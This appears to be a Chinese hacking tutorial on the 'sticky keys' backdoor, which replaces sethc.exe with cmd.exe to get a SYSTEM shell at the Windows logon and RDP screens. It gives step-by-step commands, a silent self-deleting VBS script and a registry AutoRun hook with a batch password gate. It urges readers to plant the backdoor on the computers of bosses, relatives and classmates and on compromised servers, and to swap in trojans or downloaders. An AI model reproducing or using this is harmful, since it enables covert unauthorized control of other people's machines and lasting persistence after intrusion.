记得很多年以前,看过一篇忘记管理员密码之后在本地恢复密码的文章。其中一个方法就是在DOS下用cmd.exe覆盖logon.scr,然后开机进入登录界面,等待十分钟不做任何操作,Windows就会运行默认的屏保,也就是logon.scr,但它此时已经是cmd.exe了,所以登录界面前会出现cmd.exe,而且因为是系统运行的,所以我们得到的这个cmdshell就是System权限,这是系统最高权限,一般只能由系统服务取得。利用这个权限建个管理员账户自然不在话下。我现在仍然认为这是个很巧妙的方法,因为此法灵活利用了Windows的某些特点,且躲过了Windows 严格的访问权限设置。当年,为了试验这个方法,我曾兴高采烈地等待了十分钟。这个方法和下面要介绍的内容有一些相关。
本文要介绍的粘滞键后门(我自己起的名字,有些奇怪吧?)是我在网上看到高手的公布后经过自己的实践、创新、修改、思考而得来的。“粘滞键”是为同时按下两个或更多个键有困难的人设计的。当快捷方式要求使用诸如 CTRL+ P等的组合键时,“粘滞键”允许用户按下修改键(CTRL、ALT或SHIFT)或 Windows徽标键之后,能保持这些键的活动状态直到按下其他键。打开“辅助功能选项”,在“键盘”选项卡的“粘滞键”项下,选中“使用粘滞键”复选框就可以了。
在Windows 2000/XP/Vista下,按SHIFT键5次,就可以打开粘滞键,实际上运行的是System32下的sethc.exe,而且在登录界面里也可以打开。这就让人联想到如果用cmd.exe覆盖sethc.exe,那么在登录界面按SHIFT键5次,我们就可以得到一个System权限的 cmdshell了。下面我们来实战一下。
由于Windows XP的保护机制,所有关键的系统文件都在System32下的dllcache里有备份。如果系统文件被修改了,Windows会马上将dllcache 里的备份复制过来,所以我们用cmd.exe覆盖sethc.exe之前,一定要将dllcache里的sethc.exe删除或重命名,否则是不会成功的。覆盖文件的时候,系统会弹出Windows文件保护提示,不用理它,点击“取消”就行了。用命令操作就是:
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe
如果不想让操作太明显,可以将以下代码存为VBS脚本,运行后瞬间就能完成所有操作,而且脚本会自删除。
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
然后我们回到登录界面,按SHIFT键5次,果然跳出了cmdshell。我在这里运行了taskmgr.exe,可以看到这个cmdshell的进程sethc.exe是System权限的,用它建立管理员账户当然不在话下了,如图1所示。
图1
实战Vista
Windows Vista的安全机制在保留Windows XP SP2和Windows Server 2003已有的重要安全机制上,又增加了很多底层的安全功能。在Windows Vista中,系统将会告知用户采取安全和保护隐私的情况,以便让用户得到最为完美的安全保护。所以在Vista中利用粘滞键后门是与Windows XP和Windows Server 2003中的利用有区别的。
同样,在Vista中按SHIFT键5次,也会运行粘滞键,有所不同的是,Vista里没有dllcache这样的文件夹,不存在备份文件,但是如果直接重命名sethc.exe,会有如图2所示的提示。解决办法是用Administrator(用其它管理员会失败)登录,输入下面两挑命令:
图2
takeown /f c:\windows\system32\sethc.exe
cacls c:\windows\system32\sethc.exe /G administrator:F
之后就可以用cmd.exe覆盖sethc.exe了。激动人心的时刻到了,注销回到登录界面,按SHIFT键5次,跳出了cmdshell,这下粘滞键后门在Vista里也可以大显神威了。如图3所示。
图3
以上介绍的粘滞键后门可以做什么呢?我认为可以利用它在你能接触到的周围人的(你的上司、下属、亲人、朋友、老师、同学……)Windows XP 、Windows server 2003和Windows Vista里面留一个只有你知道的后门。当主人不在时,你可以神不知鬼不觉、优雅地控制电脑。当然,这也是有局限性的,前提是你必须能够接触这台电脑。
远程粘滞键后门
这个粘滞键后门的远程用法是我自己发现的。因为我猜想在3389终端里是不是也能调用粘滞键呢?登录我的肉鸡(环境为Windows server 2003 R2)终端一试,果然可以调用,如图4所示,然后就是按照上面介绍的方法操作了。奇怪的是,我的肉鸡的备份文件夹为C:\WINDOWS \ServicePackFiles\i386,而不是dllcahe。我也没管那么多,重命名备份文件,覆盖sethc.exe,大功告成。
图4
在终端的登录界面测试了一下,成功!看着登录界面前面的cmdshell,给人一种神奇的感觉。如图5所示,我将“renyuji$”这个账户加到了管理员组。
图5
远程粘滞键与输入法漏洞
如果你是个老手,一定会联想到很古老的输入法漏洞,这个远程的粘滞键后门深得输入法漏洞的精髓。当远程主机上有我们的远程粘滞键后门时,无需更多的工具,只需一个mstsc就够了,按下5次SHIFT,输入命令加个管理员,登录,一切都是那么的优雅。
虽然这和前面介绍的本地用法有些类似,但由于这是在远程,性质就完全不一样了,这个后门可以为我们提供远程控制的权限,粘滞键后门的打击面就明显增大了,适用于你的所有3389肉鸡。当我们以后入侵了服务器,不妨留下一个这样的后门,即使管理员发现你留下的木马以及隐藏账户等等,并将其删除,你也不必担心。只要这台机器开了3389,你就可以轻松得到System权限。
远程粘滞键后门的另外一个显而易见的好处就是不被查杀,因为我们利用的就是微软自带的cmd.exe,杀毒软件也无可奈何。这个问题的症结就是:微软允许在未登录的情况下通过热键调用sethc.exe。黑客的艺术在这里被发挥到了极致。
为粘滞键后门加入验证
当越来越多的人知道这个后门的时候,后门也就越来越不可靠了。解决方法有两个,一是采用自己的程序,二是加入验证。关于加入验证,我先来介绍一下背景知识。CMD的语法中有一个“/D”参数,表示从注册表中停用执行AutoRun命令。如果“/D”未在命令行上被指定,当 cmd.exe运行时,它会寻找以下REG_SZ/REG_EXPAND_SZ注册表变量。如果其中一个或两个都存在,这两个变量会先被执行。
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
根据以上的介绍,我们可以添加如下键值:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
"AutoRun"="c:\1.bat"
这样一来,当运行cmd之前,就一定要运行我们的验证脚本,路径为c:\1.bat。网上有高手给出了验证代码,实现的功能为:生成随机验证码,如果用户输入验证码,则到事先设置好的服务器去验证,如果用户输入连续的两个验证码,则要求用户输入密码,密码正确的话就可以用cmd了,如图6所示。实现这个功能,我们只需将以下验证代码存为bat文件即可。
图6
@Echo Off
title 后门登录验证
color a
cls
set temprandom=%RANDOM%
echo 请输入验证码:%temprandom%
set/p check=
if "%check%"=="%temprandom%%temprandom%" goto passcheck
if "%check%"=="%temprandom%" (
echo 请输入验证码:%temprandom%
set/p check=
if "%check%"=="%temprandom%%temprandom%" goto passcheck
if "%check%"=="%temprandom%" (
rem 后门服务器验证
rem 如果没有后门验证服务器请rem注释掉下一行代码
if exist \192.168.8.8\backdoor$\pass goto passcheck
)
echo 验证失败
pause
exit
:passcheck
echo 验证成功
If "%passcmdlock%"=="http://blog.csdn.net/freexploit/" Goto endx
Set passcmdlock=http://blog.csdn.net/freexploit/
:allyesno
Set Errorlevel=>nul
Echo 请输入验证密码?
Set password=allyesno Is a pig>nul
Set/p password=
rem 万能密码
if "%password%"=="这里填入万能密码" goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul
If "%errorlevel%"=="0" cls&Echo 口令正确&Goto End
Echo 请联系瑞星客服咨询正确密码!&Goto allyesno
rem 以上这句我认为是作者用来迷惑人的,伪装成瑞星骗过误运行cmd的菜鸟
:End
Set password=>nul
Set Errorlevel=>nul
:endx
此法的缺点也是显而易见的,那就是所有要用cmd的人都要经过验证,但也不失为一种验证的方法。
后记
最后我想提醒大家的是,我这里只是举例说明,提供的是一种思路。大家不要被文章限制住了。既然可以用cmd.exe覆盖sethc.exe,那么我们也可以用别的来覆盖,比如下载者、木马、在后台执行某项任务的程序……。最好是将能在后台运行的程序捆绑在sethc.exe上,这样既能在按 SHIFT键5次之后出现粘滞键,又能在后台运行我们的后门。总之,在攻与防的对立统一中寻求突破,还要靠黑客与管理员们的集体智慧的结晶。